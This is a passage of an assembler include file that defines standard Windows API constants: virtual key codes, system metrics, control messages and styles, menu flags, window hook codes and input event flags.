8000h + +; Key state masks for mouse messages + +MK_LBUTTON = 01h +MK_RBUTTON = 02h +MK_SHIFT = 04h +MK_CONTROL = 08h +MK_MBUTTON = 10h + +; WM_SIZING codes + +WMSZ_LEFT = 1 +WMSZ_RIGHT = 2 +WMSZ_TOP = 3 +WMSZ_TOPLEFT = 4 +WMSZ_TOPRIGHT = 5 +WMSZ_BOTTOM = 6 +WMSZ_BOTTOMLEFT = 7 +WMSZ_BOTTOMRIGHT = 8 + +; WM_HOTKEY modifiers + +MOD_ALT = 1 +MOD_CONTROL = 2 +MOD_SHIFT = 4 +MOD_WIN = 8 + +; WM_PRINT flags + +PRF_CHECKVISIBLE = 01h +PRF_NONCLIENT = 02h +PRF_CLIENT = 04h +PRF_ERASEBKGND = 08h +PRF_CHILDREN = 10h +PRF_OWNED = 20h + +; Virtual key codes + +VK_LBUTTON = 001h +VK_CANCEL = 003h +VK_RBUTTON = 002h +VK_MBUTTON = 004h +VK_BACK = 008h +VK_TAB = 009h +VK_CLEAR = 00Ch +VK_RETURN = 00Dh +VK_SHIFT = 010h +VK_CONTROL = 011h +VK_MENU = 012h +VK_PAUSE = 013h +VK_CAPITAL = 014h +VK_ESCAPE = 01Bh +VK_SPACE = 020h +VK_PRIOR = 021h +VK_PGUP = 021h +VK_PGDN = 022h +VK_NEXT = 022h +VK_END = 023h +VK_HOME = 024h +VK_LEFT = 025h +VK_UP = 026h +VK_RIGHT = 027h +VK_DOWN = 028h +VK_SELECT = 029h +VK_PRINT = 02Ah +VK_EXECUTE = 02Bh +VK_SNAPSHOT = 02Ch +VK_INSERT = 02Dh +VK_DELETE = 02Eh +VK_HELP = 02Fh +VK_LWIN = 05Bh +VK_RWIN = 05Ch +VK_APPS = 05Dh +VK_NUMPAD0 = 060h +VK_NUMPAD1 = 061h +VK_NUMPAD2 = 062h +VK_NUMPAD3 = 063h +VK_NUMPAD4 = 064h +VK_NUMPAD5 = 065h +VK_NUMPAD6 = 066h +VK_NUMPAD7 = 067h +VK_NUMPAD8 = 068h +VK_NUMPAD9 = 069h +VK_MULTIPLY = 06Ah +VK_ADD = 06Bh +VK_SEPARATOR = 06Ch +VK_SUBTRACT = 06Dh +VK_DECIMAL = 06Eh +VK_DIVIDE = 06Fh +VK_F1 = 070h +VK_F2 = 071h +VK_F3 = 072h +VK_F4 = 073h +VK_F5 = 074h +VK_F6 = 075h +VK_F7 = 076h +VK_F8 = 077h +VK_F9 = 078h +VK_F10 = 079h +VK_F11 = 07Ah +VK_F12 = 07Bh +VK_F13 = 07Ch +VK_F14 = 07Dh +VK_F15 = 07Eh +VK_F16 = 07Fh +VK_F17 = 080h +VK_F18 = 081h +VK_F19 = 082h +VK_F20 = 083h +VK_F21 = 084h +VK_F22 = 085h +VK_F23 = 086h +VK_F24 = 087h +VK_NUMLOCK = 090h +VK_SCROLL = 091h +VK_LSHIFT = 0A0h +VK_RSHIFT = 0A1h +VK_LCONTROL = 0A2h +VK_RCONTROL = 0A3h +VK_LMENU = 0A4h +VK_RMENU = 0A5h +VK_ATTN = 0F6h +VK_CRSEL = 0F7h +VK_EXSEL = 0F8h +VK_EREOF = 0F9h +VK_PLAY = 0FAh +VK_ZOOM = 0FBh +VK_NONAME = 0FCh +VK_PA1 = 0FDh +VK_OEM_CLEAR = 0FEh + +; Accelerator flags + +FVIRTKEY = 01h +FNOINVERT = 02h +FSHIFT = 04h +FCONTROL = 08h +FALT = 10h + +; GetClassLong offsets + +GCL_MENUNAME = -8 +GCL_HBRBACKGROUND = -10 +GCL_HCURSOR = -12 +GCL_HICON = -14 +GCL_HMODULE = -16 +GCL_CBWNDEXTRA = -18 +GCL_CBCLSEXTRA = -20 +GCL_WNDPROC = -24 +GCL_STYLE = -26 +GCW_ATOM = -32 +GCL_HICONSM = -34 + +; WNDCLASS parameters + +DLGWINDOWEXTRA = 30 + +; GetWindowLong offsets + +GWLP_WNDPROC = -4 +GWLP_HINSTANCE = -6 +GWLP_HWNDPARENT = -8 +GWLP_ID = -12 +GWLP_STYLE = -16 +GWLP_EXSTYLE = -20 +GWLP_USERDATA = -21 +DWLP_MSGRESULT = 0 +DWLP_DLGPROC = 8 +DWLP_USER = 16 + +; GetSystemMetrics codes + +SM_CXSCREEN = 0 +SM_CYSCREEN = 1 +SM_CXVSCROLL = 2 +SM_CYHSCROLL = 3 +SM_CYCAPTION = 4 +SM_CXBORDER = 5 +SM_CYBORDER = 6 +SM_CXDLGFRAME = 7 +SM_CYDLGFRAME = 8 +SM_CYVTHUMB = 9 +SM_CXHTHUMB = 10 +SM_CXICON = 11 +SM_CYICON = 12 +SM_CXCURSOR = 13 +SM_CYCURSOR = 14 +SM_CYMENU = 15 +SM_CXFULLSCREEN = 16 +SM_CYFULLSCREEN = 17 +SM_CYKANJIWINDOW = 18 +SM_MOUSEPRESENT = 19 +SM_CYVSCROLL = 20 +SM_CXHSCROLL = 21 +SM_DEBUG = 22 +SM_SWAPBUTTON = 23 +SM_RESERVED1 = 24 +SM_RESERVED2 = 25 +SM_RESERVED3 = 26 +SM_RESERVED4 = 27 +SM_CXMIN = 28 +SM_CYMIN = 29 +SM_CXSIZE = 30 +SM_CYSIZE = 31 +SM_CXFRAME = 32 +SM_CYFRAME = 33 +SM_CXMINTRACK = 34 +SM_CYMINTRACK = 35 +SM_CXDOUBLECLK = 36 +SM_CYDOUBLECLK = 37 +SM_CXICONSPACING = 38 +SM_CYICONSPACING = 39 +SM_MENUDROPALIGNMENT = 40 +SM_PENWINDOWS = 41 +SM_DBCSENABLED = 42 +SM_CMOUSEBUTTONS = 43 +SM_CXFIXEDFRAME = SM_CXDLGFRAME +SM_CYFIXEDFRAME = SM_CYDLGFRAME +SM_CXSIZEFRAME = SM_CXFRAME +SM_CYSIZEFRAME = SM_CYFRAME +SM_SECURE = 44 +SM_CXEDGE = 45 +SM_CYEDGE = 46 +SM_CXMINSPACING = 47 +SM_CYMINSPACING = 48 +SM_CXSMICON = 49 +SM_CYSMICON = 50 +SM_CYSMCAPTION = 51 +SM_CXSMSIZE = 52 +SM_CYSMSIZE = 53 +SM_CXMENUSIZE = 54 +SM_CYMENUSIZE = 55 +SM_ARRANGE = 56 +SM_CXMINIMIZED = 57 +SM_CYMINIMIZED = 58 +SM_CXMAXTRACK = 59 +SM_CYMAXTRACK = 60 +SM_CXMAXIMIZED = 61 +SM_CYMAXIMIZED = 62 +SM_NETWORK = 63 +SM_CLEANBOOT = 67 +SM_CXDRAG = 68 +SM_CYDRAG = 69 +SM_SHOWSOUNDS = 70 +SM_CXMENUCHECK = 71 +SM_CYMENUCHECK = 72 +SM_SLOWMACHINE = 73 +SM_MIDEASTENABLED = 74 +SM_MOUSEWHEELPRESENT = 75 +SM_CMETRICS = 76 + +; Predefined cursor identifiers + +IDC_ARROW = 32512 +IDC_IBEAM = 32513 +IDC_WAIT = 32514 +IDC_CROSS = 32515 +IDC_UPARROW = 32516 +IDC_SIZE = 32640 +IDC_ICON = 32641 +IDC_SIZENWSE = 32642 +IDC_SIZENESW = 32643 +IDC_SIZEWE = 32644 +IDC_SIZENS = 32645 +IDC_NO = 32648 +IDC_HAND = 32649 +IDC_APPSTARTING = 32650 +IDC_HELP = 32651 + +; Predefined icon identifiers + +IDI_APPLICATION = 32512 +IDI_HAND = 32513 +IDI_QUESTION = 32514 +IDI_EXCLAMATION = 32515 +IDI_ASTERISK = 32516 +IDI_WINLOGO = 32517 + +; System colors + +COLOR_SCROLLBAR = 0 +COLOR_BACKGROUND = 1 +COLOR_ACTIVECAPTION = 2 +COLOR_INACTIVECAPTION = 3 +COLOR_MENU = 4 +COLOR_WINDOW = 5 +COLOR_WINDOWFRAME = 6 +COLOR_MENUTEXT = 7 +COLOR_WINDOWTEXT = 8 +COLOR_CAPTIONTEXT = 9 +COLOR_ACTIVEBORDER = 10 +COLOR_INACTIVEBORDER = 11 +COLOR_APPWORKSPACE = 12 +COLOR_HIGHLIGHT = 13 +COLOR_HIGHLIGHTTEXT = 14 +COLOR_BTNFACE = 15 +COLOR_BTNSHADOW = 16 +COLOR_GRAYTEXT = 17 +COLOR_BTNTEXT = 18 +COLOR_INACTIVECAPTIONTEXT = 19 +COLOR_BTNHIGHLIGHT = 20 +COLOR_3DDKSHADOW = 21 +COLOR_3DLIGHT = 22 +COLOR_INFOTEXT = 23 +COLOR_INFOBK = 24 +COLOR_HOTLIGHT = 26 +COLOR_GRADIENTACTIVECAPTION = 27 +COLOR_GRADIENTINACTIVECAPTION = 28 + +; Button messages + +BM_GETCHECK = 00F0h +BM_SETCHECK = 00F1h +BM_GETSTATE = 00F2h +BM_SETSTATE = 00F3h +BM_SETSTYLE = 00F4h +BM_CLICK = 00F5h +BM_GETIMAGE = 00F6h +BM_SETIMAGE = 00F7h + +; Button notifications + +BN_CLICKED = 0 +BN_PAINT = 1 +BN_HILITE = 2 +BN_UNHILITE = 3 +BN_DISABLE = 4 +BN_DOUBLECLICKED = 5 +BN_SETFOCUS = 6 +BN_KILLFOCUS = 7 +BN_PUSHED = BN_HILITE +BN_UNPUSHED = BN_UNHILITE +BN_DBLCLK = BN_DOUBLECLICKED + +; Button styles + +BS_PUSHBUTTON = 0000h +BS_DEFPUSHBUTTON = 0001h +BS_CHECKBOX = 0002h +BS_AUTOCHECKBOX = 0003h +BS_RADIOBUTTON = 0004h +BS_3STATE = 0005h +BS_AUTO3STATE = 0006h +BS_GROUPBOX = 0007h +BS_USERBUTTON = 0008h +BS_AUTORADIOBUTTON = 0009h +BS_OWNERDRAW = 000Bh +BS_TEXT = 0000h +BS_LEFTTEXT = 0020h +BS_RIGHTBUTTON = BS_LEFTTEXT +BS_ICON = 0040h +BS_BITMAP = 0080h +BS_LEFT = 0100h +BS_RIGHT = 0200h +BS_CENTER = 0300h +BS_TOP = 0400h +BS_BOTTOM = 0800h +BS_VCENTER = 0C00h +BS_PUSHLIKE = 1000h +BS_MULTILINE = 2000h +BS_NOTIFY = 4000h +BS_FLAT = 8000h + +; Button states + +BST_UNCHECKED = 0 +BST_CHECKED = 1 +BST_INDETERMINATE = 2 +BST_PUSHED = 4 +BST_FOCUS = 8 + +; List box messages + +LB_ADDSTRING = 0180h +LB_INSERTSTRING = 0181h +LB_DELETESTRING = 0182h +LB_SELITEMRANGEEX = 0183h +LB_RESETCONTENT = 0184h +LB_SETSEL = 0185h +LB_SETCURSEL = 0186h +LB_GETSEL = 0187h +LB_GETCURSEL = 0188h +LB_GETTEXT = 0189h +LB_GETTEXTLEN = 018Ah +LB_GETCOUNT = 018Bh +LB_SELECTSTRING = 018Ch +LB_DIR = 018Dh +LB_GETTOPINDEX = 018Eh +LB_FINDSTRING = 018Fh +LB_GETSELCOUNT = 0190h +LB_GETSELITEMS = 0191h +LB_SETTABSTOPS = 0192h +LB_GETHORIZONTALEXTENT = 0193h +LB_SETHORIZONTALEXTENT = 0194h +LB_SETCOLUMNWIDTH = 0195h +LB_ADDFILE = 0196h +LB_SETTOPINDEX = 0197h +LB_GETITEMRECT = 0198h +LB_GETITEMDATA = 0199h +LB_SETITEMDATA = 019Ah +LB_SELITEMRANGE = 019Bh +LB_SETANCHORINDEX = 019Ch +LB_GETANCHORINDEX = 019Dh +LB_SETCARETINDEX = 019Eh +LB_GETCARETINDEX = 019Fh +LB_SETITEMHEIGHT = 01A0h +LB_GETITEMHEIGHT = 01A1h +LB_FINDSTRINGEXACT = 01A2h +LB_SETLOCALE = 01A5h +LB_GETLOCALE = 01A6h +LB_SETCOUNT = 01A7h +LB_INITSTORAGE = 01A8h +LB_ITEMFROMPOINT = 01A9h + +; List box notifications + +LBN_ERRSPACE = -2 +LBN_SELCHANGE = 1 +LBN_DBLCLK = 2 +LBN_SELCANCEL = 3 +LBN_SETFOCUS = 4 +LBN_KILLFOCUS = 5 + +; List box styles + +LBS_NOTIFY = 0001h +LBS_SORT = 0002h +LBS_NOREDRAW = 0004h +LBS_MULTIPLESEL = 0008h +LBS_OWNERDRAWFIXED = 0010h +LBS_OWNERDRAWVARIABLE = 0020h +LBS_HASSTRINGS = 0040h +LBS_USETABSTOPS = 0080h +LBS_NOINTEGRALHEIGHT = 0100h +LBS_MULTICOLUMN = 0200h +LBS_WANTKEYBOARDINPUT = 0400h +LBS_EXTENDEDSEL = 0800h +LBS_DISABLENOSCROLL = 1000h +LBS_NODATA = 2000h +LBS_NOSEL = 4000h +LBS_STANDARD = LBS_NOTIFY or LBS_SORT or WS_VSCROLL or WS_BORDER + +; List box return values + +LB_OKAY = 0 +LB_ERR = -1 +LB_ERRSPACE = -2 + +; Combo box messages + +CB_GETEDITSEL = 0140h +CB_LIMITTEXT = 0141h +CB_SETEDITSEL = 0142h +CB_ADDSTRING = 0143h +CB_DELETESTRING = 0144h +CB_DIR = 0145h +CB_GETCOUNT = 0146h +CB_GETCURSEL = 0147h +CB_GETLBTEXT = 0148h +CB_GETLBTEXTLEN = 0149h +CB_INSERTSTRING = 014Ah +CB_RESETCONTENT = 014Bh +CB_FINDSTRING = 014Ch +CB_SELECTSTRING = 014Dh +CB_SETCURSEL = 014Eh +CB_SHOWDROPDOWN = 014Fh +CB_GETITEMDATA = 0150h +CB_SETITEMDATA = 0151h +CB_GETDROPPEDCONTROLRECT = 0152h +CB_SETITEMHEIGHT = 0153h +CB_GETITEMHEIGHT = 0154h +CB_SETEXTENDEDUI = 0155h +CB_GETEXTENDEDUI = 0156h +CB_GETDROPPEDSTATE = 0157h +CB_FINDSTRINGEXACT = 0158h +CB_SETLOCALE = 0159h +CB_GETLOCALE = 015Ah +CB_GETTOPINDEX = 015Bh +CB_SETTOPINDEX = 015Ch +CB_GETHORIZONTALEXTENT = 015Dh +CB_SETHORIZONTALEXTENT = 015Eh +CB_GETDROPPEDWIDTH = 015Fh +CB_SETDROPPEDWIDTH = 0160h +CB_INITSTORAGE = 0161h + +; Combo box notifications + +CBN_ERRSPACE = -1 +CBN_SELCHANGE = 1 +CBN_DBLCLK = 2 +CBN_SETFOCUS = 3 +CBN_KILLFOCUS = 4 +CBN_EDITCHANGE = 5 +CBN_EDITUPDATE = 6 +CBN_DROPDOWN = 7 +CBN_CLOSEUP = 8 +CBN_SELENDOK = 9 +CBN_SELENDCANCEL = 10 + +; Combo box styles + +CBS_SIMPLE = 0001h +CBS_DROPDOWN = 0002h +CBS_DROPDOWNLIST = 0003h +CBS_OWNERDRAWFIXED = 0010h +CBS_OWNERDRAWVARIABLE = 0020h +CBS_AUTOHSCROLL = 0040h +CBS_OEMCONVERT = 0080h +CBS_SORT = 0100h +CBS_HASSTRINGS = 0200h +CBS_NOINTEGRALHEIGHT = 0400h +CBS_DISABLENOSCROLL = 0800h +CBS_UPPERCASE = 2000h +CBS_LOWERCASE = 4000h + +; Combo box return values + +CB_OKAY = 0 +CB_ERR = -1 +CB_ERRSPACE = -2 + +; Edit control messages + +EM_GETSEL = 00B0h +EM_SETSEL = 00B1h +EM_GETRECT = 00B2h +EM_SETRECT = 00B3h +EM_SETRECTNP = 00B4h +EM_SCROLL = 00B5h +EM_LINESCROLL = 00B6h +EM_SCROLLCARET = 00B7h +EM_GETMODIFY = 00B8h +EM_SETMODIFY = 00B9h +EM_GETLINECOUNT = 00BAh +EM_LINEINDEX = 00BBh +EM_SETHANDLE = 00BCh +EM_GETHANDLE = 00BDh +EM_GETTHUMB = 00BEh +EM_LINELENGTH = 00C1h +EM_REPLACESEL = 00C2h +EM_GETLINE = 00C4h +EM_LIMITTEXT = 00C5h +EM_CANUNDO = 00C6h +EM_UNDO = 00C7h +EM_FMTLINES = 00C8h +EM_LINEFROMCHAR = 00C9h +EM_SETTABSTOPS = 00CBh +EM_SETPASSWORDCHAR = 00CCh +EM_EMPTYUNDOBUFFER = 00CDh +EM_GETFIRSTVISIBLELINE = 00CEh +EM_SETREADONLY = 00CFh +EM_SETWORDBREAKPROC = 00D0h +EM_GETWORDBREAKPROC = 00D1h +EM_GETPASSWORDCHAR = 00D2h +EM_SETMARGINS = 00D3h +EM_GETMARGINS = 00D4h +EM_SETLIMITTEXT = EM_LIMITTEXT +EM_GETLIMITTEXT = 00D5h +EM_POSFROMCHAR = 00D6h +EM_CHARFROMPOS = 00D7h + +; Edit control EM_SETMARGIN parameters + +EC_LEFTMARGIN = 1 +EC_RIGHTMARGIN = 2 +EC_USEFONTINFO = 0FFFFh + +; Edit control notifications + +EN_SETFOCUS = 0100h +EN_KILLFOCUS = 0200h +EN_CHANGE = 0300h +EN_UPDATE = 0400h +EN_ERRSPACE = 0500h +EN_MAXTEXT = 0501h +EN_HSCROLL = 0601h +EN_VSCROLL = 0602h + +; Edit control styles + +ES_LEFT = 0000h +ES_CENTER = 0001h +ES_RIGHT = 0002h +ES_MULTILINE = 0004h +ES_UPPERCASE = 0008h +ES_LOWERCASE = 0010h +ES_PASSWORD = 0020h +ES_AUTOVSCROLL = 0040h +ES_AUTOHSCROLL = 0080h +ES_NOHIDESEL = 0100h +ES_OEMCONVERT = 0400h +ES_READONLY = 0800h +ES_WANTRETURN = 1000h +ES_NUMBER = 2000h + +; Static window messages + +STM_SETICON = 0170h +STM_GETICON = 0171h +STM_SETIMAGE = 0172h +STM_GETIMAGE = 0173h + +; Static window notifications + +STN_CLICKED = 0 +STN_DBLCLK = 1 +STN_ENABLE = 2 +STN_DISABLE = 3 + +; Static window styles + +SS_LEFT = 0000h +SS_CENTER = 0001h +SS_RIGHT = 0002h +SS_ICON = 0003h +SS_BLACKRECT = 0004h +SS_GRAYRECT = 0005h +SS_WHITERECT = 0006h +SS_BLACKFRAME = 0007h +SS_GRAYFRAME = 0008h +SS_WHITEFRAME = 0009h +SS_USERITEM = 000Ah +SS_SIMPLE = 000Bh +SS_LEFTNOWORDWRAP = 000Ch +SS_BITMAP = 000Eh +SS_OWNERDRAW = 000Dh +SS_ENHMETAFILE = 000Fh +SS_ETCHEDHORZ = 0010h +SS_ETCHEDVERT = 0011h +SS_ETCHEDFRAME = 0012h +SS_TYPEMASK = 001Fh +SS_NOPREFIX = 0080h +SS_NOTIFY = 0100h +SS_CENTERIMAGE = 0200h +SS_RIGHTJUST = 0400h +SS_REALSIZEIMAGE = 0800h +SS_SUNKEN = 1000h + +; Scroll bar constants + +SB_HORZ = 0 +SB_VERT = 1 +SB_CTL = 2 +SB_BOTH = 3 + +; Scroll bar messages + +SBM_SETPOS = 00E0h +SBM_GETPOS = 00E1h +SBM_SETRANGE = 00E2h +SBM_SETRANGEREDRAW = 00E6h +SBM_GETRANGE = 00E3h +SBM_ENABLE_ARROWS = 00E4h +SBM_SETSCROLLINFO = 00E9h +SBM_GETSCROLLINFO = 00EAh + +; Scroll bar commands + +SB_LINEUP = 0 +SB_LINELEFT = 0 +SB_LINEDOWN = 1 +SB_LINERIGHT = 1 +SB_PAGEUP = 2 +SB_PAGELEFT = 2 +SB_PAGEDOWN = 3 +SB_PAGERIGHT = 3 +SB_THUMBPOSITION = 4 +SB_THUMBTRACK = 5 +SB_TOP = 6 +SB_LEFT = 6 +SB_BOTTOM = 7 +SB_RIGHT = 7 +SB_ENDSCROLL = 8 + +; Scroll bar styles + +SBS_HORZ = 0000h +SBS_VERT = 0001h +SBS_TOPALIGN = 0002h +SBS_LEFTALIGN = 0002h +SBS_BOTTOMALIGN = 0004h +SBS_RIGHTALIGN = 0004h +SBS_SIZEBOXTOPLEFTALIGN = 0002h +SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h +SBS_SIZEBOX = 0008h +SBS_SIZEGRIP = 0010h + +; Scroll bar info flags + +SIF_RANGE = 0001h +SIF_PAGE = 0002h +SIF_POS = 0004h +SIF_DISABLENOSCROLL = 0008h +SIF_TRACKPOS = 0010h +SIF_ALL = SIF_RANGE or SIF_PAGE or SIF_POS or SIF_TRACKPOS + +; Dialog styles + +DS_ABSALIGN = 0001h +DS_SYSMODAL = 0002h +DS_3DLOOK = 0004h +DS_FIXEDSYS = 0008h +DS_NOFAILCREATE = 0010h +DS_LOCALEDIT = 0020h +DS_SETFONT = 0040h +DS_MODALFRAME = 0080h +DS_NOIDLEMSG = 0100h +DS_SETFOREGROUND = 0200h +DS_CONTROL = 0400h +DS_CENTER = 0800h +DS_CENTERMOUSE = 1000h +DS_CONTEXTHELP = 2000h + +; Dialog codes + +DLGC_WANTARROWS = 0001h +DLGC_WANTTAB = 0002h +DLGC_WANTALLKEYS = 0004h +DLGC_WANTMESSAGE = 0004h +DLGC_HASSETSEL = 0008h +DLGC_DEFPUSHBUTTON = 0010h +DLGC_UNDEFPUSHBUTTON = 0020h +DLGC_RADIOBUTTON = 0040h +DLGC_WANTCHARS = 0080h +DLGC_STATIC = 0100h +DLGC_BUTTON = 2000h + +; Menu flags + +MF_INSERT = 0000h +MF_CHANGE = 0080h +MF_APPEND = 0100h +MF_DELETE = 0200h +MF_REMOVE = 1000h +MF_BYCOMMAND = 0000h +MF_BYPOSITION = 0400h +MF_SEPARATOR = 0800h +MF_UNCHECKED = 0000h +MF_ENABLED = 0000h +MF_GRAYED = 0001h +MF_DISABLED = 0002h +MF_CHECKED = 0008h +MF_USECHECKBITMAPS = 0200h +MF_STRING = 0000h +MF_BITMAP = 0004h +MF_OWNERDRAW = 0100h +MF_POPUP = 0010h +MF_MENUBARBREAK = 0020h +MF_MENUBREAK = 0040h +MF_UNHILITE = 0000h +MF_HILITE = 0080h +MF_DEFAULT = 1000h +MF_SYSMENU = 2000h +MF_HELP = 4000h +MF_RIGHTJUSTIFY = 4000h +MF_MOUSESELECT = 8000h +MF_END = 0080h +MFT_STRING = MF_STRING +MFT_BITMAP = MF_BITMAP +MFT_MENUBARBREAK = MF_MENUBARBREAK +MFT_MENUBREAK = MF_MENUBREAK +MFT_OWNERDRAW = MF_OWNERDRAW +MFT_RADIOCHECK = 0200h +MFT_SEPARATOR = MF_SEPARATOR +MFT_RIGHTORDER = 2000h +MFT_RIGHTJUSTIFY = MF_RIGHTJUSTIFY +MFS_GRAYED = 0003h +MFS_DISABLED = MFS_GRAYED +MFS_CHECKED = MF_CHECKED +MFS_HILITE = MF_HILITE +MFS_ENABLED = MF_ENABLED +MFS_UNCHECKED = MF_UNCHECKED +MFS_UNHILITE = MF_UNHILITE +MFS_DEFAULT = MF_DEFAULT +MFR_POPUP = 0001h +MFR_END = MF_END + +; System menu command values + +SC_SIZE = 61440 +SC_MOVE = 61456 +SC_MINIMIZE = 61472 +SC_MAXIMIZE = 61488 +SC_NEXTWINDOW = 61504 +SC_PREVWINDOW = 61520 +SC_CLOSE = 61536 +SC_VSCROLL = 61552 +SC_HSCROLL = 61568 +SC_MOUSEMENU = 61584 +SC_KEYMENU = 61696 +SC_ARRANGE = 61712 +SC_RESTORE = 61728 +SC_TASKLIST = 61744 +SC_SCREENSAVE = 61760 +SC_HOTKEY = 61776 +SC_DEFAULT = 61792 +SC_MONITORPOWER = 61808 +SC_CONTEXTHELP = 61824 +SC_SEPARATOR = 61455 + +; Border types + +BDR_RAISEDOUTER = 01h +BDR_SUNKENOUTER = 02h +BDR_RAISEDINNER = 04h +BDR_SUNKENINNER = 08h +BDR_OUTER = 03h +BDR_INNER = 0Ch +BDR_RAISED = 05h +BDR_SUNKEN = 0Ah +EDGE_RAISED = BDR_RAISEDOUTER or BDR_RAISEDINNER +EDGE_SUNKEN = BDR_SUNKENOUTER or BDR_SUNKENINNER +EDGE_ETCHED = BDR_SUNKENOUTER or BDR_RAISEDINNER +EDGE_BUMP = BDR_RAISEDOUTER or BDR_SUNKENINNER + +; Border flags + +BF_LEFT = 0001h +BF_TOP = 0002h +BF_RIGHT = 0004h +BF_BOTTOM = 0008h +BF_TOPLEFT = BF_TOP or BF_LEFT +BF_TOPRIGHT = BF_TOP or BF_RIGHT +BF_BOTTOMLEFT = BF_BOTTOM or BF_LEFT +BF_BOTTOMRIGHT = BF_BOTTOM or BF_RIGHT +BF_RECT = BF_LEFT or BF_TOP or BF_RIGHT or BF_BOTTOM +BF_DIAGONAL = 0010h +BF_DIAGONAL_ENDTOPRIGHT = BF_DIAGONAL or BF_TOP or BF_RIGHT +BF_DIAGONAL_ENDTOPLEFT = BF_DIAGONAL or BF_TOP or BF_LEFT +BF_DIAGONAL_ENDBOTTOMLEFT = BF_DIAGONAL or BF_BOTTOM or BF_LEFT +BF_DIAGONAL_ENDBOTTOMRIGHT = BF_DIAGONAL or BF_BOTTOM or BF_RIGHT +BF_MIDDLE = 0800h +BF_SOFT = 1000h +BF_ADJUST = 2000h +BF_FLAT = 4000h +BF_MONO = 8000h + +; Frame control types + +DFC_CAPTION = 1 +DFC_MENU = 2 +DFC_SCROLL = 3 +DFC_BUTTON = 4 +DFC_POPUPMENU = 5 + +; Frame control states + +DFCS_CAPTIONCLOSE = 0000h +DFCS_CAPTIONMIN = 0001h +DFCS_CAPTIONMAX = 0002h +DFCS_CAPTIONRESTORE = 0003h +DFCS_CAPTIONHELP = 0004h +DFCS_MENUARROW = 0000h +DFCS_MENUCHECK = 0001h +DFCS_MENUBULLET = 0002h +DFCS_MENUARROWRIGHT = 0004h +DFCS_SCROLLUP = 0000h +DFCS_SCROLLDOWN = 0001h +DFCS_SCROLLLEFT = 0002h +DFCS_SCROLLRIGHT = 0003h +DFCS_SCROLLCOMBOBOX = 0005h +DFCS_SCROLLSIZEGRIP = 0008h +DFCS_SCROLLSIZEGRIPRIGHT = 0010h +DFCS_BUTTONCHECK = 0000h +DFCS_BUTTONRADIOIMAGE = 0001h +DFCS_BUTTONRADIOMASK = 0002h +DFCS_BUTTONRADIO = 0004h +DFCS_BUTTON3STATE = 0008h +DFCS_BUTTONPUSH = 0010h +DFCS_INACTIVE = 0100h +DFCS_PUSHED = 0200h +DFCS_CHECKED = 0400h +DFCS_TRANSPARENT = 0800h +DFCS_HOT = 1000h +DFCS_ADJUSTRECT = 2000h +DFCS_FLAT = 4000h +DFCS_MONO = 8000h + +; DrawCaption flags + +DC_ACTIVE = 01h +DC_SMALLCAP = 02h +DC_ICON = 04h +DC_TEXT = 08h +DC_INBUTTON = 10h + +; DrawIconEx options + +DI_MASK = 1 +DI_IMAGE = 2 +DI_NORMAL = 3 +DI_COMPAT = 4 +DI_DEFAULTSIZE = 8 + +; DrawText parameters + +DT_TOP = 00000h +DT_LEFT = 00000h +DT_CENTER = 00001h +DT_RIGHT = 00002h +DT_VCENTER = 00004h +DT_BOTTOM = 00008h +DT_WORDBREAK = 00010h +DT_SINGLELINE = 00020h +DT_EXPANDTABS = 00040h +DT_TABSTOP = 00080h +DT_NOCLIP = 00100h +DT_EXTERNALLEADING = 00200h +DT_CALCRECT = 00400h +DT_NOPREFIX = 00800h +DT_INTERNAL = 01000h +DT_EDITCONTROL = 02000h +DT_PATH_ELLIPSIS = 04000h +DT_END_ELLIPSIS = 08000h +DT_MODIFYSTRING = 10000h +DT_RTLREADING = 20000h +DT_WORD_ELLIPSIS = 40000h + +; GetDCEx flags + +DCX_WINDOW = 000001h +DCX_CACHE = 000002h +DCX_NORESETATTRS = 000004h +DCX_CLIPCHILDREN = 000008h +DCX_CLIPSIBLINGS = 000010h +DCX_PARENTCLIP = 000020h +DCX_EXCLUDERGN = 000040h +DCX_INTERSECTRGN = 000080h +DCX_EXCLUDEUPDATE = 000100h +DCX_INTERSECTUPDATE = 000200h +DCX_LOCKWINDOWUPDATE = 000400h +DCX_VALIDATE = 200000h + +; SetWindowsHook codes + +WH_MSGFILTER = -1 +WH_JOURNALRECORD = 0 +WH_JOURNALPLAYBACK = 1 +WH_KEYBOARD = 2 +WH_GETMESSAGE = 3 +WH_CALLWNDPROC = 4 +WH_CBT = 5 +WH_SYSMSGFILTER = 6 +WH_MOUSE = 7 +WH_HARDWARE = 8 +WH_DEBUG = 9 +WH_SHELL = 10 +WH_FOREGROUNDIDLE = 11 +WH_CALLWNDPROCRET = 12 +WH_KEYBOARD_LL = 13 +WH_MOUSE_LL = 14 + +; Hook codes + +HC_ACTION = 0 +HC_GETNEXT = 1 +HC_SKIP = 2 +HC_NOREMOVE = 3 +HC_SYSMODALON = 4 +HC_SYSMODALOFF = 5 + +; CBT hook codes + +HCBT_MOVESIZE = 0 +HCBT_MINMAX = 1 +HCBT_QS = 2 +HCBT_CREATEWND = 3 +HCBT_DESTROYWND = 4 +HCBT_ACTIVATE = 5 +HCBT_CLICKSKIPPED = 6 +HCBT_KEYSKIPPED = 7 +HCBT_SYSCOMMAND = 8 +HCBT_SETFOCUS = 9 + +; ExitWindowsEx flags + +EWX_LOGOFF = 0 +EWX_SHUTDOWN = 1 +EWX_REBOOT = 2 +EWX_FORCE = 4 +EWX_POWEROFF = 8 + +; WinHelp commands + +HELP_CONTEXT = 001h +HELP_QUIT = 002h +HELP_INDEX = 003h +HELP_CONTENTS = 003h +HELP_HELPONHELP = 004h +HELP_SETINDEX = 005h +HELP_SETCONTENTS = 005h +HELP_CONTEXTPOPUP = 008h +HELP_FORCEFILE = 009h +HELP_CONTEXTMENU = 00Ah +HELP_FINDER = 00Bh +HELP_WM_HELP = 00Ch +HELP_SETPOPUP_POS = 00Dh +HELP_KEY = 101h +HELP_COMMAND = 102h +HELP_PARTIALKEY = 105h +HELP_MULTIKEY = 201h +HELP_SETWINPOS = 203h + +; keybd_event flags + +KEYEVENTF_EXTENDEDKEY = 1h +KEYEVENTF_KEYUP = 2h + +; mouse_event flags + +MOUSEEVENTF_MOVE = 0001h +MOUSEEVENTF_LEFTDOWN = 0002h +MOUSEEVENTF_LEFTUP = 0004h +MOUSEEVENTF_RIGHTDOWN = 0008h +MOUSEEVENTF_RIGHTUP = 0010h +MOUSEEVENTF_MIDDLEDOWN = 0020h +MOUSEEVENTF_MIDDLEUP = 0040h +MOUSEEVENTF_WHEEL = 0800h +MOUSEEVENTF_ABSOLUTE = 8000h + +; TrackPopupMenu flags + 